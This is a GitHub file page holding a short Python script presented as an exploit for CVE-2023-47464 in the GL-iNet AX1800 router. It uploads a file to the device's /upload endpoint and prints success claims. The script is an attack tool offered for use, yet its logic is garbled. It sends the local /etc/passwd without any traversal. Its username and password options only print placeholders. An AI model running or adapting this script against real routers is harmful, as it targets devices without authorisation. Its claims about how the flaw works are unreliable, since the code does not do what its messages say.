-
Notifications
You must be signed in to change notification settings - Fork 2
/
Copy pathCVE-2023-47464.py
52 lines (44 loc) · 1.74 KB
/
CVE-2023-47464.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
import argparse
import requests
BANNER = """
____ _ _ ____ _ _
/ ___|(_)_ __ ___ _ __ | |_ ___| _ \ ___ | |_(_) ___ _ __
\___ \| | '__/ _ \ '_ \| __/ _ \ |_) / _ \| __| |/ _ \| '_ \
___) | | | | __/ | | | || __/ __/ (_) | |_| | (_) | | | |
|____/|_|_| \___|_| |_|\__\___|_| \___/ \__|_|\___/|_| |_|
"""
def print_banner():
print(BANNER)
print("GL-iNet-AX1800 CVE-2023-47464")
def get_instance_ip():
# You need to implement this function to fetch the instance IP
return "192.168.1.1"
def exploit():
instance_ip = get_instance_ip()
url = f"http://{instance_ip}/upload"
files = {'path': ('/etc/passwd', open('/etc/passwd', 'rb'))} # adjust path if necessary
response = requests.post(url, files=files)
if response.status_code == 200:
print("Exploit successful! Check /tmp/../../../../../etc/passwd on the device.")
else:
print("Exploit failed.")
def main():
parser = argparse.ArgumentParser(description="GL-iNet-AX1800 CVE-2023-47464 Exploit Script")
parser.add_argument('-ip', action='store_true', help="Get GL-iNet-AX1800 instance IP")
parser.add_argument('--username', action='store_true', help="Get username")
parser.add_argument('--password', action='store_true', help="Get password")
parser.add_argument('--check', action='store_true', help="Check for exploit")
args = parser.parse_args()
if args.ip:
print("Instance IP:", get_instance_ip())
elif args.username:
print("Username: [Your Username]")
elif args.password:
print("Password: [Your Password]")
elif args.check:
exploit()
else:
print_banner()
parser.print_help()
if __name__ == "__main__":
main()